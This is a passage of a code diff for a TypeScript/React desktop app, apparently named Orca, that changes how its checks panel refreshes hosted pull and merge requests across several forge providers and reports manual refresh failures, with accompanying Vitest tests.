ForgeProviderId ): { linkedReviewNumber?: number | null; fallbackReviewNumber?: number | null } { switch (provider) { @@ -32,6 +37,12 @@ function reviewLinkForProvider( } export async function getHostedReviewForBranch( + input: Parameters[0] +): Promise { + return (await readHostedReviewForBranch(input)).review +} + +export async function readHostedReviewForBranch( input: { repoPath: string executionHostId: ExecutionHostId @@ -46,8 +57,9 @@ export async function getHostedReviewForBranch( /** Selected-worktree surfaces earn per-minute pacing (#11532). */ active?: boolean force?: boolean + userRefresh?: boolean } & HostedReviewExecutionOptions -): Promise { +): Promise { const branchName = input.branch.replace(/^refs\/heads\//, '') // Detached HEAD skips branch lookup but still permits exact provider ids. if ( @@ -59,7 +71,7 @@ export async function getHostedReviewForBranch( input.linkedAzureDevOpsPR == null && input.linkedGiteaPR == null ) { - return null + return cachedHostedReviewOutcome(null) } const connectionId = hostedReviewSshConnectionId(input.executionHostId) @@ -83,15 +95,16 @@ export async function getHostedReviewForBranch( } ) - function lookup(resolvedInput: Parameters[0]) { + function lookup(resolvedInput: Parameters[0]) { const headOid = input.currentHeadOid?.trim() || null // Cache review API results by the resolved account and execution identity (#11532). - return withHostedReviewBranchCache( + return readHostedReviewBranchCache( { ...resolvedInput, branch: branchName }, { headOid, ...(input.active === true ? { active: true } : {}), - ...(input.force === true ? { force: true } : {}) + ...(input.force === true ? { force: true } : {}), + ...(input.userRefresh === true ? { userRefresh: true } : {}) }, async () => { const provider = await getForgeProviderForRepository({ @@ -110,6 +123,13 @@ export async function getHostedReviewForBranch( return null } const providerOptions = provider.id === 'github' ? resolvedInput : input + if (input.userRefresh === true && provider.id === 'gitea') { + await forgetGiteaPullRequestReads({ + repoPath: input.repoPath, + executionHostId: input.executionHostId, + localGitExecOptions: getHostedReviewLocalGitOptions(input) + }) + } return provider.getReviewForBranch({ repoPath: input.repoPath, executionHostId: input.executionHostId, diff --git a/src/preload/api/hosted-review-api.ts b/src/preload/api/hosted-review-api.ts index 65d6667994b..9df1fdaa232 100644 --- a/src/preload/api/hosted-review-api.ts +++ b/src/preload/api/hosted-review-api.ts @@ -11,11 +11,17 @@ import type { HostedReviewCreationEligibility, HostedReviewCreationEligibilityArgs, HostedReviewForBranchArgs, + HostedReviewForBranchReply, HostedReviewInfo } from '../../shared/hosted-review' export type HostedReviewApi = { - forBranch: (args: HostedReviewForBranchArgs) => Promise + forBranch: { + ( + args: HostedReviewForBranchArgs & { reportReadOutcome?: false } + ): Promise + (args: HostedReviewForBranchArgs): Promise + } getCreationEligibility: ( args: HostedReviewCreationEligibilityArgs ) => Promise diff --git a/src/renderer/src/components/right-sidebar/checks-panel-pr-refresh-breadcrumb.ts b/src/renderer/src/components/right-sidebar/checks-panel-pr-refresh-breadcrumb.ts index c3d4f2b35a8..674d86ed2f7 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel-pr-refresh-breadcrumb.ts +++ b/src/renderer/src/components/right-sidebar/checks-panel-pr-refresh-breadcrumb.ts @@ -7,13 +7,13 @@ import type { CrashReportBreadcrumbData, CrashReportDetailValue } from '../../../../shared/crash-reporting' +import type { HostedReviewProvider } from '../../../../shared/hosted-review' type ChecksPanelPRRefreshBreadcrumbEvent = 'start' | 'done' | 'stale_cleared' -type ChecksPanelReviewProvider = 'github' | 'gitlab' type ChecksPanelPRRefreshBreadcrumbArgs = { event: ChecksPanelPRRefreshBreadcrumbEvent - provider: ChecksPanelReviewProvider + provider: HostedReviewProvider repoId?: string | null worktreeId?: string | null branch?: string | null diff --git a/src/renderer/src/components/right-sidebar/checks-panel/active-content-props.ts b/src/renderer/src/components/right-sidebar/checks-panel/active-content-props.ts index b80bf500388..8fb86a0f465 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/active-content-props.ts +++ b/src/renderer/src/components/right-sidebar/checks-panel/active-content-props.ts @@ -86,7 +86,7 @@ export type ChecksPanelActiveContentModel = Pick< | 'handleOpenStackPR' | 'handleUnlinkReview' > & - Pick & + Pick & Pick & Pick & Pick diff --git a/src/renderer/src/components/right-sidebar/checks-panel/active-content.tsx b/src/renderer/src/components/right-sidebar/checks-panel/active-content.tsx index d28efd0c88f..724b2f9585e 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/active-content.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/active-content.tsx @@ -73,6 +73,7 @@ export function ChecksPanelActiveContent({ isRefreshing, isResolvingConflictsWithAI, linkedGitLabMR, + manualRefreshError, pendingCommentResolutionRef, pr, prRefreshState, @@ -100,15 +101,19 @@ export function ChecksPanelActiveContent({ settings, Boolean(activeWorktreeId) ) + // A classified GitHub failure says more than a manual one, so it wins; one banner either way. + const refreshError = + (activeReview.provider === 'github' && prRefreshState?.status === 'error' + ? getChecksPanelRefreshErrorBannerLine(prRefreshState.errorType) + : null) ?? manualRefreshError return (
    - {/* Show background GitHub failures above cached PR data so outages cannot look like a healthy panel. */} - {activeReview?.provider === 'github' && prRefreshState?.status === 'error' ? ( + {refreshError ? (
    - {getChecksPanelRefreshErrorBannerLine(prRefreshState.errorType)} + {refreshError}
    ) : null}
    @@ -222,7 +227,7 @@ export function ChecksPanelActiveContent({ {!(activeConflictReview && checks.length === 0 && !checksLoading) && ( & Pick & Pick & - Pick & + Pick & Pick diff --git a/src/renderer/src/components/right-sidebar/checks-panel/empty-content.tsx b/src/renderer/src/components/right-sidebar/checks-panel/empty-content.tsx index cacd0ea0aa1..89407d47b89 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/empty-content.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/empty-content.tsx @@ -7,6 +7,7 @@ import { shouldShowChecksPanelPublishBranchAction } from '../checks-panel-empty-state' import { openChecksPanelHostedReviewUrl } from '../checks-panel-hosted-review-click-routing' +import { isRateLimitRefresh } from '../checks-panel-review-state-model' import { isMacPlatform } from '../../terminal-pane/terminal-link-open-hints' import { getIntlLocale, translate } from '@/i18n/i18n' import { localizedHostedReviewCopy } from '@/i18n/hosted-review-localized-copy' @@ -64,6 +65,7 @@ export function ChecksPanelEmptyContent({ linkedGitLabMR, linkedPR, linkedReviewNumber, + manualRefreshError, panelContextKey, prAiGenerationEnabled, prBase, @@ -215,7 +217,17 @@ export function ChecksPanelEmptyContent({ hasUpstream: publishActionRemoteStatus?.hasUpstream, hasCurrentBranch: Boolean(branch) }) - const emptyStateCopy = { title: reviewState.title, description: reviewState.description } + // Classified GitHub states carry the next step (sign in, or wait for the limit), so they win. + const refreshFailure = + emptyRefreshInput?.status === 'error' || isRateLimitRefresh(emptyRefreshInput) + ? null + : manualRefreshError + const emptyStateCopy = refreshFailure + ? { + title: translate('auto.components.status.bar.tooltip.e740f92596', 'Refresh failed'), + description: refreshFailure + } + : { title: reviewState.title, description: reviewState.description } const reviewStateAutoRetryText = reviewState.autoRetryAt !== undefined && reviewState.autoRetryAt > now ? translate( @@ -228,7 +240,9 @@ export function ChecksPanelEmptyContent({ reviewState.retryDisabledUntil !== undefined && now < reviewState.retryDisabledUntil const reviewRecoveryLabelIsRefresh = reviewState.recovery.includes('refresh') const reviewShowRetryOrRefresh = - reviewState.recovery.includes('retry') || reviewRecoveryLabelIsRefresh + Boolean(refreshFailure) || + reviewState.recovery.includes('retry') || + reviewRecoveryLabelIsRefresh const reviewShowOpenReview = reviewState.recovery.includes('open_review') && Boolean(reviewState.openReviewUrl) const reviewShowSyncBranch = reviewState.workflowAction === 'sync_branch' @@ -247,10 +261,10 @@ export function ChecksPanelEmptyContent({ )}
    {emptyStateCopy.title}
    {emptyStateCopy.description}
    - {reviewState.detail ? ( + {!refreshFailure && reviewState.detail ? (
    {reviewState.detail}
    ) : null} - {reviewStateAutoRetryText ? ( + {!refreshFailure && reviewStateAutoRetryText ? (
    {reviewStateAutoRetryText}
    ) : null} {!operationInProgress && createComposerOpen ? ( diff --git a/src/renderer/src/components/right-sidebar/checks-panel/hosted-review-manual-refresh.ts b/src/renderer/src/components/right-sidebar/checks-panel/hosted-review-manual-refresh.ts new file mode 100644 index 00000000000..b292d6ac397 --- /dev/null +++ b/src/renderer/src/components/right-sidebar/checks-panel/hosted-review-manual-refresh.ts @@ -0,0 +1,122 @@ +import { useCallback, useState } from 'react' +import type { HostedReviewProvider } from '../../../../../shared/hosted-review' +import { useAppStore } from '@/store' +import { latestLookupGeneration } from '@/store/lookup-generation-sequence' +import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh' +import type { ChecksPanelManualRefreshInput } from './manual-refresh-dependencies' + +/** Reviews and links name the provider first; an unlinked branch falls back to the remote's provider, not GitHub. */ +export function checksPanelManualRefreshProvider( + model: ChecksPanelManualRefreshInput +): HostedReviewProvider { + return ( + model.activeReview?.provider ?? + model.hostedReview?.provider ?? + (model.isGitLabReviewContext + ? 'gitlab' + : model.linkedBitbucketPR != null + ? 'bitbucket' + : model.linkedAzureDevOpsPR != null + ? 'azure-devops' + : model.linkedGiteaPR != null + ? 'gitea' + : model.hostedReviewCreateProvider) + ) +} + +/** A failed click's message, kept until a click succeeds, the context changes or a provider read issued after the failure answers. */ +export function useChecksPanelManualRefreshFailure( + panelContextKey: string, + hostedReviewCacheKey: string +) { + const [failure, setFailure] = useState<{ + contextKey: string + message: string | null + failedAfterGeneration: number + }>({ contextKey: panelContextKey, message: null, failedAfterGeneration: 0 }) + if (failure.contextKey !== panelContextKey) { + setFailure({ contextKey: panelContextKey, message: null, failedAfterGeneration: 0 }) + } + // Last-good fallbacks and cache hits don't move this, so only a real provider read can clear the failure. + const providerReadGeneration = useAppStore((s) => + hostedReviewCacheKey + ? (s.hostedReviewCache[hostedReviewCacheKey]?.providerReadGeneration ?? 0) + : 0 + ) + const setManualFailure = useCallback( + (message: string | null) => + setFailure({ + contextKey: panelContextKey, + message, + failedAfterGeneration: latestLookupGeneration() + }), + [panelContextKey] + ) + return { + manualRefreshError: + failure.contextKey === panelContextKey && + providerReadGeneration <= failure.failedAfterGeneration + ? failure.message + : null, + setManualFailure + } +} + +/** The click's own review read: it never joins a read that began before the click. */ +export function refreshHostedReviewForClick( + model: ChecksPanelManualRefreshInput, + repo: NonNullable, + branch: string, + fallbackGitHubPR: number | null +) { + return refreshHostedReviewCard(model.fetchHostedReviewForBranch, { + repoPath: repo.path, + repoId: repo.id, + branch, + admissionTier: 'interactive', + userRefresh: true, + linkedGitHubPR: model.linkedPR, + fallbackGitHubPR, + linkedGitLabMR: model.linkedGitLabMR, + linkedBitbucketPR: model.linkedBitbucketPR, + linkedAzureDevOpsPR: model.linkedAzureDevOpsPR, + linkedGiteaPR: model.linkedGiteaPR + }) +} + +export async function refreshChecksPanelHostedReview( + model: ChecksPanelManualRefreshInput, + provider: HostedReviewProvider, + isCurrentRequest: () => boolean +): Promise<'review' | 'no-review' | 'superseded'> { + const { repo, branch, activeGitLabReview, fetchGitLabDetails, setChecks, setComments } = model + if (!repo || !branch) { + return 'superseded' + } + const refreshedReview = await refreshHostedReviewForClick( + model, + repo, + branch, + model.fallbackGitHubPRNumber + ) + if (!isCurrentRequest()) { + return 'superseded' + } + if (provider !== 'gitlab') { + return 'review' + } + const refreshedGitLabReview = + refreshedReview?.provider === 'gitlab' ? refreshedReview : activeGitLabReview + if (refreshedGitLabReview) { + await fetchGitLabDetails({ + mrNumberOverride: refreshedGitLabReview.number, + headShaOverride: refreshedGitLabReview.headSha, + commitAsCurrent: true, + isRequestCurrent: isCurrentRequest + }) + return 'review' + } + setChecks([]) + setComments([]) + return 'no-review' +} diff --git a/src/renderer/src/components/right-sidebar/checks-panel/manual-refresh-dependencies.ts b/src/renderer/src/components/right-sidebar/checks-panel/manual-refresh-dependencies.ts index e64b6465817..7cb525aedff 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/manual-refresh-dependencies.ts +++ b/src/renderer/src/components/right-sidebar/checks-panel/manual-refresh-dependencies.ts @@ -2,6 +2,7 @@ import type { ChecksPanelControllerState } from './use-checks-panel-controller-s import type { ChecksPanelContextState } from './use-checks-panel-context-state' import type { ChecksPanelPollingState } from './use-checks-panel-polling' import type { ChecksPanelComposerState } from './use-checks-panel-composer-state' +import type { ChecksPanelReviewState } from './use-checks-panel-review-state' export type ChecksPanelManualRefreshInput = Pick< ChecksPanelControllerState, @@ -38,7 +39,10 @@ export type ChecksPanelManualRefreshInput = Pick< Pick< ChecksPanelContextState, | 'activeGitLabReview' + | 'activeReview' | 'fallbackGitHubPRNumber' + | 'hostedReview' + | 'hostedReviewCacheKey' | 'isFolder' | 'isGitLabReviewContext' | 'linkedAzureDevOpsPR' @@ -50,5 +54,6 @@ export type ChecksPanelManualRefreshInput = Pick< | 'prCacheKey' | 'prNumber' > & + Pick & Pick & Pick diff --git a/src/renderer/src/components/right-sidebar/checks-panel/panel-content-rendering.test.tsx b/src/renderer/src/components/right-sidebar/checks-panel/panel-content-rendering.test.tsx index ddf59d9d720..a84215092e3 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/panel-content-rendering.test.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/panel-content-rendering.test.tsx @@ -10,8 +10,14 @@ vi.mock('../SourceControlAgentActionDialog', () => ({ SourceControlAgentActionDi import { ChecksPanelActiveContent } from './active-content' import { ChecksPanelEmptyContent } from './empty-content' +import { getHostedReviewManualRefreshError } from '../github-refresh-error-copy' +import { localizedHostedReviewCopy } from '@/i18n/hosted-review-localized-copy' +import { makeWorktree } from '@/store/slices/worktrees-slice-test-fixtures' -afterEach(cleanup) +afterEach(() => { + cleanup() + vi.useRealTimers() +}) describe('checks panel concrete content', () => { it('renders the no-workspace empty state with its guidance', () => { @@ -89,12 +95,126 @@ describe('checks panel concrete content', () => { suppressedGitHubPR: 42 } as ChecksPanelEmptyContentModel - render() + const { rerender } = render() expect(screen.getByText('No pull request found')).toBeTruthy() expect(screen.queryByText('Pull request unlinked')).toBeNull() + rerender( + + ) + expect(screen.getByText('Refresh failed')).toBeTruthy() + expect(screen.getByText("Couldn't refresh from GitLab. Try again.")).toBeTruthy() + expect(screen.getByRole('button', { name: 'Refresh' })).toBeTruthy() }) + it.each([ + [ + 'rate limited', + { status: 'error', errorType: 'rate_limited' }, + 'GitHub refresh paused', + 'Orca will retry at', + true + ], + [ + 'signed out', + { status: 'error', errorType: 'auth' }, + 'GitHub authentication failed', + 'Check the GitHub login', + false + ] + ] as const)( + 'keeps the classified GitHub empty state over a manual failure (%s)', + (_name, refresh, title, nextStep, retryDisabled) => { + const now = Date.parse('2026-10-30T12:00:00Z') + vi.useFakeTimers({ toFake: ['Date'] }) + vi.setSystemTime(now) + const model: ChecksPanelEmptyContentModel = { + activeReview: null, + activeWorktree: makeWorktree({ id: 'worktree-1', repoId: 'repo-1' }), + activeWorktreeId: 'worktree-1', + branch: 'without-pr', + checksPanelHasHardRefreshError: false, + checksPanelReviewLookup: 'unknown', + checksPanelReviewLookupResult: { state: 'unknown', openReviewUrl: null }, + confirmedReadiness: { confirmed: false, needsPush: false }, + conflictOperation: 'unknown', + createComposerOpen: false, + createPrError: null, + createPrPushFirst: false, + detachedHeadDisplay: null, + emptyRefreshing: false, + gitStatusInputs: { hasUncommittedChanges: false, remoteStatus: undefined }, + gitStatusProbeErrorContextKey: null, + handleCancelGeneratePullRequestFields: vi.fn(), + handleCreatePullRequest: vi.fn(), + handleGeneratePullRequestFields: vi.fn(), + handleLinkSuppressedPullRequest: vi.fn(), + handlePrBaseChange: vi.fn(), + handlePrTitleChange: vi.fn(), + handlePublishBranch: vi.fn(), + handleRefresh: vi.fn(async () => {}), + handleSyncBranch: vi.fn(), + hardRefreshError: null, + hostedReviewCreateCopy: localizedHostedReviewCopy('github'), + hostedReviewCreateProvider: 'github', + hostedReviewCreation: null, + isCreatingPr: false, + isFolder: false, + isGitHubReviewContext: true, + isPublishingBranch: false, + isRemoteOperationActive: false, + isSyncingBranch: false, + linkedGitLabMR: null, + linkedPR: null, + linkedReviewNumber: null, + manualRefreshError: getHostedReviewManualRefreshError('github'), + panelContextKey: 'worktree-1::without-pr', + prAiGenerationEnabled: false, + prBase: '', + prBaseQuery: '', + prBaseResults: [], + prBaseSearchError: null, + prBaseSearchPending: false, + prBody: '', + prDraft: false, + prGenerateDisabled: false, + prGenerateDisabledReason: undefined, + prGenerateError: null, + prGenerating: false, + prNumber: null, + prRefreshState: { + ...refresh, + reason: 'manual', + updatedAt: now, + nextAutoRetryAt: now + 600_000, + retryDisabledUntil: retryDisabled ? now + 600_000 : undefined + }, + prRepoDefaultBaseRef: null, + prStackedCreationSupported: false, + prTitle: '', + publishActionHasUncommittedChanges: false, + publishActionRemoteStatus: undefined, + setEmptyRefreshing: vi.fn(), + setPrBaseQuery: vi.fn(), + setPrBaseResults: vi.fn(), + setPrBody: vi.fn(), + setPrDraft: vi.fn(), + sourceControlAiActionsVisible: false, + stackParentReview: null, + suppressedGitHubPR: null + } + + const { container } = render() + + expect(container.textContent).toContain(title) + expect(container.textContent).toContain(nextStep) + expect(container.textContent).not.toContain('Refresh failed') + expect(container.textContent).not.toContain('Try again') + } + ) + it('renders the active review header and empty check/comment sections with accessible actions', () => { const model = { activeConnectionId: null, @@ -140,6 +260,7 @@ describe('checks panel concrete content', () => { handleLoadCheckDetails: vi.fn(), handleOpenPR: vi.fn(), handleRefresh: vi.fn(), + manualRefreshError: null, handleOpenStackPR: vi.fn(), handleReplyToComment: vi.fn(), handleResolve: vi.fn(), @@ -172,7 +293,7 @@ describe('checks panel concrete content', () => { titleSaving: false } satisfies ChecksPanelActiveContentModel - render() + const { rerender } = render() expect(screen.getByText('Preserve mounted panel behavior')).toBeTruthy() expect(screen.getByText('No checks configured')).toBeTruthy() @@ -181,5 +302,30 @@ describe('checks panel concrete content', () => { expect(screen.getByRole('button', { name: '#42' }).getAttribute('title')).toContain( 'Open on GitHub' ) + const failedModel = { + ...model, + checksError: 'Previous detail error', + commentsError: 'Previous detail error', + manualRefreshError: getHostedReviewManualRefreshError('gitlab'), + activeReview: { ...model.activeReview, provider: 'gitlab' as const }, + isRefreshing: true + } + rerender() + expect(screen.getAllByRole('alert')).toHaveLength(1) + expect(screen.getByRole('alert').textContent).toBe("Couldn't refresh from GitLab. Try again.") + expect(screen.getByText('Preserve mounted panel behavior')).toBeTruthy() + expect(screen.queryByText('Previous detail error')).toBeNull() + rerender( + + ) + // The classified GitHub line says more than the manual failure, so it is the one shown. + expect(screen.getAllByRole('alert')).toHaveLength(1) + expect(screen.getByRole('alert').textContent).toContain('GitHub is unreachable right now') }) }) diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.test.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.test.tsx new file mode 100644 index 00000000000..5811b8d1794 --- /dev/null +++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.test.tsx @@ -0,0 +1,141 @@ +// @vitest-environment happy-dom + +import { act, renderHook } from '@testing-library/react' +import { afterEach, describe, expect, it, vi } from 'vitest' +import { useAppStore } from '@/store' +import { refreshHostedReviewCard } from '@/store/slices/hosted-review-card-refresh' +import { _clearHostedReviewRequestGenerationsForTest } from '@/store/slices/hosted-review-request-state' +import { makeWorktree } from '@/store/slices/worktrees-slice-test-fixtures' +import type { HostedReviewInfo } from '../../../../../shared/hosted-review' +import { isGitLabChecksPanelReview } from './gitlab-review-client' +import { useChecksPanelEntryRefreshAndTitleActions } from './use-checks-panel-entry-refresh-and-title-actions' + +type EntryRefreshInput = Parameters[0] + +const repo = { + id: 'repo-1', + path: '/workspace/repo', + displayName: 'repo', + badgeColor: '#000', + addedAt: 0 +} +const gitLabReview: HostedReviewInfo = { + provider: 'gitlab', + number: 7, + title: 'MR', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + state: 'open', + status: 'success', + mergeable: 'MERGEABLE', + updatedAt: '2026-10-30' +} +const bitbucketReview: HostedReviewInfo = { + provider: 'bitbucket', + number: 12, + title: 'PR', + url: 'https://bitbucket.example.test/w/r/pull-requests/12', + state: 'open', + status: 'success', + mergeable: 'MERGEABLE', + updatedAt: '2026-10-30' +} +const original = useAppStore.getState() + +function makeInput(review: HostedReviewInfo): EntryRefreshInput { + return { + activeGitLabReview: isGitLabChecksPanelReview(review) ? review : null, + activeReview: review, + activeWorktree: makeWorktree({ id: 'worktree-1', repoId: repo.id }), + activeWorktreeId: 'worktree-1', + branch: 'main', + checksFetchedAt: undefined, + clearTitleInputFocusTimer: vi.fn(), + commentsFetchedAt: undefined, + enqueueGitHubPRRefresh: vi.fn(), + fallbackGitHubPRNumber: null, + fetchChecks: vi.fn(), + fetchComments: vi.fn(), + fetchGitLabDetails: vi.fn(async () => {}), + fetchHostedReviewForBranch: useAppStore.getState().fetchHostedReviewForBranch, + fetchPRForBranch: vi.fn(async () => null), + hostedReviewCacheKey: 'hosted-review-key', + isFolder: false, + isGitLabReviewContext: review.provider === 'gitlab', + // Hidden, so the tab-entry refresh stays out of the way. + isPanelVisible: false, + linkedAzureDevOpsPR: null, + linkedBitbucketPR: review.provider === 'bitbucket' ? review.number : null, + linkedGiteaPR: null, + linkedGitLabMR: review.provider === 'gitlab' ? review.number : null, + linkedPR: null, + mountedRef: { current: true }, + pollIntervalRef: { current: 30_000 }, + pr: null, + prCacheKey: 'cache', + prFetchedAt: undefined, + prNumber: null, + prevChecksRef: { current: '' }, + repo, + setEditingTitle: vi.fn(), + setTitleDraft: vi.fn(), + setTitleSaving: vi.fn(), + titleDraft: '', + titleInputFocusTimerRef: { current: null }, + titleInputRef: { current: null } + } +} + +afterEach(() => { + _clearHostedReviewRequestGenerationsForTest() + useAppStore.setState(original) + vi.unstubAllGlobals() +}) + +describe('refreshHostedReviewAfterMutation', () => { + // Issue #14377: after Orca merges, the card must not keep the Open answer of a poll started before the merge. + it.each([gitLabReview, bitbucketReview])( + '$provider: reads after the write instead of joining an older poll, and a failed read is not a failed merge', + async (review) => { + const merged: HostedReviewInfo = { ...review, state: 'merged' } + const olderPoll = Promise.withResolvers() + const forBranch = vi + .fn() + .mockReturnValueOnce(olderPoll.promise) + .mockResolvedValueOnce(merged) + .mockRejectedValueOnce(new Error('offline')) + vi.stubGlobal('api', { hostedReview: { forBranch } }) + useAppStore.setState({ repos: [repo], hostedReviewCache: {} }) + const input = makeInput(review) + // The same card read the follow-up used to make, started before the merge landed. + const poll = refreshHostedReviewCard(input.fetchHostedReviewForBranch, { + repoPath: repo.path, + repoId: repo.id, + branch: 'main', + linkedGitLabMR: input.linkedGitLabMR, + linkedBitbucketPR: input.linkedBitbucketPR + }) + const { result } = renderHook(() => useChecksPanelEntryRefreshAndTitleActions(input)) + + await act(async () => result.current.refreshHostedReviewAfterMutation()) + + expect(forBranch).toHaveBeenCalledTimes(2) + expect(forBranch).toHaveBeenLastCalledWith(expect.objectContaining({ userRefresh: true })) + olderPoll.resolve(review) + await act(async () => void (await poll)) + expect(Object.values(useAppStore.getState().hostedReviewCache)[0]?.data?.state).toBe('merged') + if (review.provider === 'gitlab') { + expect(input.fetchGitLabDetails).toHaveBeenCalledWith( + expect.objectContaining({ mrNumberOverride: review.number }) + ) + } else { + expect(input.fetchPRForBranch).toHaveBeenCalledTimes(1) + } + + // The merge action treats a rejection here as its own failure. + await act(async () => + expect(result.current.refreshHostedReviewAfterMutation()).resolves.toBeUndefined() + ) + expect(forBranch).toHaveBeenCalledTimes(3) + } + ) +}) diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx index ccf19e03e2b..ea00bd132ad 100644 --- a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx +++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-entry-refresh-and-title-actions.tsx @@ -204,18 +204,20 @@ export function useChecksPanelEntryRefreshAndTitleActions( if (!repo || !branch) { return } + // The read must start after the write rather than join an older poll; its failure is not the write's. if (activeReview?.provider === 'gitlab') { const refreshedReview = await refreshHostedReviewCard(fetchHostedReviewForBranch, { repoPath: repo.path, repoId: repo.id, branch, + userRefresh: true, linkedGitHubPR: linkedPR, fallbackGitHubPR: fallbackGitHubPRNumber, linkedGitLabMR, linkedBitbucketPR, linkedAzureDevOpsPR, linkedGiteaPR - }) + }).catch(() => null) const refreshedGitLabReview = refreshedReview?.provider === 'gitlab' ? refreshedReview : activeGitLabReview if (refreshedGitLabReview) { @@ -238,13 +240,14 @@ export function useChecksPanelEntryRefreshAndTitleActions( repoPath: repo.path, repoId: repo.id, branch, + userRefresh: true, linkedGitHubPR: linkedPR, fallbackGitHubPR: refreshedPR?.number ?? fallbackGitHubPRNumber, linkedGitLabMR, linkedBitbucketPR, linkedAzureDevOpsPR, linkedGiteaPR - }) + }).catch(() => null) }, [ activeGitLabReview, activeReview?.provider, diff --git a/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh-recovery.test.tsx b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh-recovery.test.tsx new file mode 100644 index 00000000000..ba23e101657 --- /dev/null +++ b/src/renderer/src/components/right-sidebar/checks-panel/use-checks-panel-manual-refresh-recovery.test.tsx @@ -0,0 +1,455 @@ +// @vitest-environment happy-dom + +import { act, cleanup, render, renderHook, screen } from '@testing-library/react' +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { useAppStore } from '@/store' +import { getHostedReviewCacheKey } from '@/store/slices/hosted-review-cache-identity' +import { _clearHostedReviewRequestGenerationsForTest } from '@/store/slices/hosted-review-request-state' +import { + hostedReviewForBranchReply, + type HostedReviewForBranchArgs, + type HostedReviewInfo +} from '../../../../../shared/hosted-review' +import type { PRInfo } from '../../../../../shared/github/pull-request-types' +import type { Worktree } from '../../../../../shared/worktree/types' +import { + __resetHostedReviewBranchCacheForTests, + readHostedReviewBranchCache +} from '../../../../../main/source-control/hosted-review-branch-cache' + +vi.mock('@/components/confirmation-dialog-context', () => ({ + useConfirmationDialog: () => vi.fn() +})) + +import HostedReviewActions from '../HostedReviewActions' +import { useChecksPanelManualRefresh } from './use-checks-panel-manual-refresh' + +type RefreshInput = Parameters[0] + +const FAILURE = "Couldn't refresh from GitLab. Try again." +const WITHIN_BACKOFF = new Date('2026-10-30T12:00:05Z') +// An hour on: past the host's failure backoff, so the next poll reaches the provider. +const AFTER_BACKOFF = new Date('2026-10-30T13:00:00Z') +const repo = { + id: 'repo-1', + path: '/workspace/repo', + displayName: 'repo', + badgeColor: '#000', + addedAt: 0 +} +const openMR: HostedReviewInfo & { provider: 'gitlab' } = { + provider: 'gitlab', + number: 7, + title: 'MR', + url: 'https://gitlab.example.test/g/p/-/merge_requests/7', + state: 'open', + status: 'success', + mergeable: 'UNKNOWN', + updatedAt: '2026-10-30' +} + +const original = useAppStore.getState() +let provider: () => Promise +const lookup = vi.fn(() => provider()) +// An older paired server drops reportReadOutcome and answers with the bare review. +let olderHost = false +// The paired runtime's request timeout: the click gives up while its host lookup runs on. +let clickTimesOut = false + +function cacheKey(): string { + return getHostedReviewCacheKey( + repo.path, + 'main', + useAppStore.getState().settings, + repo.id, + undefined, + undefined, + true + ) +} + +function poll(): Promise { + // The selected card's background poll: forced, never a user refresh. + return useAppStore.getState().fetchHostedReviewForBranch(repo.path, 'main', { + force: true, + repoId: repo.id, + active: true, + admissionTier: 'interactive', + linkedGitLabMR: 7 + }) +} + +function baseInput(): RefreshInput { + return { + activeConnectionId: null, + activeGitLabReview: null, + activeReview: null, + activeWorktreeId: null, + activeWorktreePath: null, + activeWorktreePushTarget: null, + asyncResultKeyRef: { current: 'cache::main::42' }, + branch: 'main', + expireGitHubPRRefreshState: vi.fn(), + fallbackGitHubPRNumber: null, + fetchGitLabDetails: vi.fn(), + fetchHostedReviewForBranch: vi.fn(async () => null), + fetchPRChecks: vi.fn(async () => []), + fetchPRComments: vi.fn(async () => []), + fetchPRForBranch: vi.fn(async () => null), + gitStatusSnapshot: null, + hostedReview: null, + hostedReviewCacheKey: 'hosted-review-key', + hostedReviewCreateProvider: 'github', + isCurrentAsyncResult: () => true, + isFolder: false, + isGitLabReviewContext: false, + linkedAzureDevOpsPR: null, + linkedBitbucketPR: null, + linkedGiteaPR: null, + linkedGitLabMR: null, + linkedPR: null, + ownerCopyHostId: null, + ownerTarget: { kind: 'local' }, + panelContextKey: 'ctx', + panelContextKeyRef: { current: 'ctx' }, + pollIntervalRef: { current: 30_000 }, + pr: null, + prCacheKey: 'cache', + prNumber: 42, + prevChecksRef: { current: '' }, + refreshInFlightRef: { current: false }, + refreshRequestKeyRef: { current: '' }, + repo, + setChecks: vi.fn(), + setChecksLoading: vi.fn(), + setComments: vi.fn(), + setCommentsLoading: vi.fn(), + setEligibilityRefreshNonce: vi.fn(), + setGitStatusSnapshot: vi.fn(), + setIsRefreshing: vi.fn(), + updateWorktreeGitIdentity: vi.fn() + } +} + +// The selected GitLab MR's panel, reading through the real store and host cache. +function gitLabInput(): RefreshInput { + return { + ...baseInput(), + activeGitLabReview: openMR, + activeReview: openMR, + fetchHostedReviewForBranch: useAppStore.getState().fetchHostedReviewForBranch, + hostedReview: openMR, + hostedReviewCacheKey: cacheKey(), + hostedReviewCreateProvider: 'gitlab', + isGitLabReviewContext: true, + linkedGitLabMR: 7, + prNumber: null + } +} + +function renderPanel(input = gitLabInput()) { + const shown: (string | null)[] = [] + const hook = renderHook(() => { + const state = useChecksPanelManualRefresh(input) + shown.push(state.manualRefreshError) + return state + }) + return { ...hook, shown, input } +} + +// Seeds Open, then the provider goes down and the user's Refresh fails. +async function failedClick() { + provider = async () => openMR + await poll() + provider = async () => { + throw new Error('GitLab 503') + 